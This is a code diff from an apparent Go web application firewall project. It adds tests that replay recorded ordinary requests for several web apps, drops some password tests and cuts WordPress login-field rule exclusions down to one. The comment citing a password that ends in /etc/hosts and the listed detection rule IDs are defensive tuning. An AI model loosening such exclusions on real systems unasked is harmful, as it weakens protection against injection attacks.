@@ -323,22 +304,8 @@ func TestNextcloudHardValuesPassInTheExcludedFields(t *testing.T) {
 				t.Errorf("%s refused: %d", request, score)
 			}
 		}
-
-		if score := nextcloudPasswordScore(t, value); score >= nextcloudThreshold {
-			t.Errorf("password %s refused: %d", value, score)
 	}
 }
-}
-
-func TestNextcloudPasswordPasses(t *testing.T) {
-	t.Parallel()
-
-	r := request{http.MethodPost, nextcloudSignIn, []string{formData}}
-
-	wantRandomPasswordsPass(t, r, "password")
-	wantPasswordAttacksPass(t, r, "password")
-	wantPasswordAttacksRefused(t, r, "password")
-}
 
 func TestNextcloudSentencesPassInTheTexts(t *testing.T) {
 	t.Parallel()
@@ -388,10 +355,6 @@ func TestNextcloudAttacksAreRefusedInTheExcludedFields(t *testing.T) {
 			t.Errorf("%s let through: %d", request, score)
 		}
 	}
-
-	if score := nextcloudPasswordScore(t, commandInjection); score < nextcloudThreshold {
-		t.Errorf("password %s let through: %d", commandInjection, score)
-	}
 }
 
 func TestNextcloudAccountCookieSkipsTheFourRules(t *testing.T) {

internal/coreruleset/recorded_test.go

@@ -0,0 +1,204 @@
+//go:build recorded
+
+// The tests that check the apps' recorded requests in testdata. The recorded
+// tag keeps them out of the test phase's pass with the race detector, and
+// its second pass, without the race detector, runs them.
+
+package coreruleset_test
+
+import (
+	"encoding/json"
+	"os"
+	"path/filepath"
+	"slices"
+	"strings"
+	"testing"
+
+	"sneak.berlin/go/smallwebwaf/internal/coreruleset"
+)
+
+// giteaRequests returns the recorded ordinary gitea requests in testdata.
+// Each has the Referer of a page that names the same, as a page opened
+// from it has.
+func giteaRequests(t *testing.T) []request {
+	t.Helper()
+
+	text, err := os.ReadFile(filepath.Join("testdata", "gitea-requests.txt"))
+	if err != nil {
+		t.Fatal(err)
+	}
+
+	var requests []request
+
+	for line := range strings.Lines(string(text)) {
+		line = strings.TrimSpace(line)
+		if line == "" || strings.HasPrefix(line, "#") {
+			continue
+		}
+
+		target, header, _ := strings.Cut(line, " ")
+
+		headers := []string{"Referer: http://git.example" + target}
+		if header != "" {
+			headers = append(headers, header)
+		}
+
+		requests = append(requests, get(target, headers...))
+	}
+
+	return requests
+}
+
+func TestOrdinaryGiteaRequestsPass(t *testing.T) {
+	t.Parallel()
+
+	const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default
+
+	crs := atDefaults(t)
+
+	for _, r := range giteaRequests(t) {
+		if got := inspect(t, crs, r); got.Score >= threshold {
+			t.Errorf("%s %q refused: %+v", r.target, r.headers[1:], got)
+		}
+	}
+}
+
+// recordedRequest is a line of a file of recorded requests in testdata.
+type recordedRequest struct {
+	Method  string   `json:"method"`
+	Target  string   `json:"target"`
+	Headers []string `json:"headers"`
+	Body    string   `json:"body"`
+}
+
+// recordedRequests returns the recorded ordinary requests in the file name
+// in testdata, each with its body.
+func recordedRequests(t *testing.T, name string) []recordedRequest {
+	t.Helper()
+
+	path := filepath.Join("testdata", name)
+
+	text, err := os.ReadFile(path) //nolint:gosec // a file in testdata
+	if err != nil {
+		t.Fatal(err)
+	}
+
+	var requests []recordedRequest
+
+	for line := range strings.Lines(string(text)) {
+		if strings.HasPrefix(line, "#") {
+			continue
+		}
+
+		var r recordedRequest
+
+		err := json.Unmarshal([]byte(line), &r)
+		if err != nil {
+			t.Fatalf("%q: %v", line, err)
+		}
+
+		requests = append(requests, r)
+	}
+
+	return requests
+}
+
+// wantRecordedRequestsPass checks that none of the recorded ordinary
+// requests in the file name in testdata is refused, at the defaults and
+// while bodies are read. A request with neither a body nor a Content-Type
+// header is checked only at the defaults: with neither, the set that reads
+// bodies has nothing more to check. Each request runs as its own parallel
+// subtest.
+func wantRecordedRequestsPass(t *testing.T, name string) {
+	t.Helper()
+
+	const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default
+
+	defaults, bodies := atDefaults(t), readingBodies(t)
+
+	for _, recorded := range recordedRequests(t, name) {
+		t.Run(recorded.Method+" "+recorded.Target, func(t *testing.T) {
+			t.Parallel()
+
+			r := request{recorded.Method, recorded.Target, recorded.Headers}
+
+			got, _ := inspectBody(t, defaults, r, recorded.Body)
+			if got.Score >= threshold {
+				t.Errorf("%s %s refused: %+v", r.method, r.target, got)
+			}
+
+			typed := slices.ContainsFunc(recorded.Headers, func(header string) bool {
+				name, _, _ := strings.Cut(header, ":")
+
+				return strings.EqualFold(name, "Content-Type")
+			})
+			if recorded.Body == "" && !typed {
+				return
+			}
+
+			got, _ = inspectBody(t, bodies, r, recorded.Body)
+			if got.Score >= threshold {
+				t.Errorf("%s %s %.200q refused while bodies are read: %+v",
+					r.method, r.target, recorded.Body, got)
+			}
+		})
+	}
+}
+
+func TestOrdinaryDrupalRequestsPass(t *testing.T) {
+	t.Parallel()
+
+	wantRecordedRequestsPass(t, "drupal-requests.txt")
+}
+
+func TestOrdinaryMastodonRequestsPass(t *testing.T) {
+	t.Parallel()
+
+	wantRecordedRequestsPass(t, "mastodon-requests.txt")
+}
+
+func TestOrdinaryMediaWikiRequestsPass(t *testing.T) {
+	t.Parallel()
+
+	wantRecordedRequestsPass(t, "mediawiki-requests.txt")
+}
+
+func TestOrdinaryNextcloudRequestsPass(t *testing.T) {
+	t.Parallel()
+
+	wantRecordedRequestsPass(t, "nextcloud-requests.txt")
+}
+
+func TestOrdinaryVaultwardenRequestsPass(t *testing.T) {
+	t.Parallel()
+
+	wantRecordedRequestsPass(t, "vaultwarden-requests.txt")
+}
+
+func TestOrdinaryWordPressRequestsPass(t *testing.T) {
+	t.Parallel()
+
+	const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default
+
+	defaults, bodies := atDefaults(t), readingBodiesUpTo64K(t)
+
+	for _, recorded := range recordedRequests(t, "wordpress-requests.txt") {
+		t.Run(recorded.Method+" "+recorded.Target, func(t *testing.T) {
+			t.Parallel()
+
+			r := request{recorded.Method, recorded.Target, recorded.Headers}
+
+			crsSets := []*coreruleset.CoreRuleSet{defaults}
+			if recorded.Body != "" {
+				crsSets = append(crsSets, bodies)
+			}
+
+			for _, crs := range crsSets {
+				got, _ := inspectBody(t, crs, r, recorded.Body)
+				if got.Score >= threshold {
+					t.Errorf("%s %s %.200q refused: %+v", r.method, r.target, recorded.Body, got)
+				}
+			}
+		})
+	}
+}

internal/coreruleset/vaultwarden_test.go

@@ -27,12 +27,6 @@ const (
 // vaultwardenEmail is a JSON body that sends an address in email.
 const vaultwardenEmail = `{"email":"VALUE"}`
 
-func TestOrdinaryVaultwardenRequestsPass(t *testing.T) {
-	t.Parallel()
-
-	wantRecordedRequestsPass(t, "vaultwarden-requests.txt")
-}
-
 // vaultwardenField is a field Vaultwarden receives in plain text: the
 // request that sends it, and its body, with VALUE where the field's value
 // goes.

internal/coreruleset/wordpress.conf

@@ -96,45 +96,11 @@ SecRule REQUEST_FILENAME "@streq /wp-admin/admin-ajax.php" \
         ctl:ruleRemoveTargetById=942151;ARGS:newcontent,\
         ctl:ruleRemoveTargetById=942540;ARGS:newcontent"
 
-# Signing in, in pwd, which skips each rule that random passwords set off.
+# Signing in, in pwd, where a password holds any characters:
+#   930120: a password ending in /etc/hosts
 SecRule REQUEST_FILENAME "@streq /wp-login.php" \
     "id:900704,phase:1,pass,nolog,chain"
-    SecRule &ARGS_GET:pwd "@eq 0" \
+    SecRule &ARGS_GET:pwd "@eq 0" "ctl:ruleRemoveTargetById=930120;ARGS:pwd"
-        "ctl:ruleRemoveTargetById=920270;ARGS:pwd,\
-        ctl:ruleRemoveTargetById=920540;ARGS:pwd,\
-        ctl:ruleRemoveTargetById=921200;ARGS:pwd,\
-        ctl:ruleRemoveTargetById=930100;ARGS:pwd,\
-        ctl:ruleRemoveTargetById=930110;ARGS:pwd,\
-        ctl:ruleRemoveTargetById=930120;ARGS:pwd,\
-        ctl:ruleRemoveTargetById=932125;ARGS:pwd,\
-        ctl:ruleRemoveTargetById=932130;ARGS:pwd,\
-        ctl:ruleRemoveTargetById=932160;ARGS:pwd,\
-        ctl:ruleRemoveTargetById=932230;ARGS:pwd,\
-        ctl:ruleRemoveTargetById=932250;ARGS:pwd,\
-        ctl:ruleRemoveTargetById=932260;ARGS:pwd,\
-        ctl:ruleRemoveTargetById=932270;ARGS:pwd,\
-        ctl:ruleRemoveTargetById=932280;ARGS:pwd,\
-        ctl:ruleRemoveTargetById=932330;ARGS:pwd,\
-        ctl:ruleRemoveTargetById=932340;ARGS:pwd,\
-        ctl:ruleRemoveTargetById=932370;ARGS:pwd,\
-        ctl:ruleRemoveTargetById=932380;ARGS:pwd,\
-        ctl:ruleRemoveTargetById=933100;ARGS:pwd,\
-        ctl:ruleRemoveTargetById=933135;ARGS:pwd,\
-        ctl:ruleRemoveTargetById=933180;ARGS:pwd,\
-        ctl:ruleRemoveTargetById=933210;ARGS:pwd,\
-        ctl:ruleRemoveTargetById=941100;ARGS:pwd,\
-        ctl:ruleRemoveTargetById=941120;ARGS:pwd,\
-        ctl:ruleRemoveTargetById=941160;ARGS:pwd,\
-        ctl:ruleRemoveTargetById=941180;ARGS:pwd,\
-        ctl:ruleRemoveTargetById=942100;ARGS:pwd,\
-        ctl:ruleRemoveTargetById=942151;ARGS:pwd,\
-        ctl:ruleRemoveTargetById=942190;ARGS:pwd,\
-        ctl:ruleRemoveTargetById=942230;ARGS:pwd,\
-        ctl:ruleRemoveTargetById=942290;ARGS:pwd,\
-        ctl:ruleRemoveTargetById=942320;ARGS:pwd,\
-        ctl:ruleRemoveTargetById=942540;ARGS:pwd,\
-        ctl:ruleRemoveTargetById=942550;ARGS:pwd,\
-        ctl:ruleRemoveTargetById=944150;ARGS:pwd"
 
 # Saving through the REST API, the JSON fields title, excerpt and name skip these
 # rules. WordPress writes a slug such as htaccess or ls-la, so slug skips only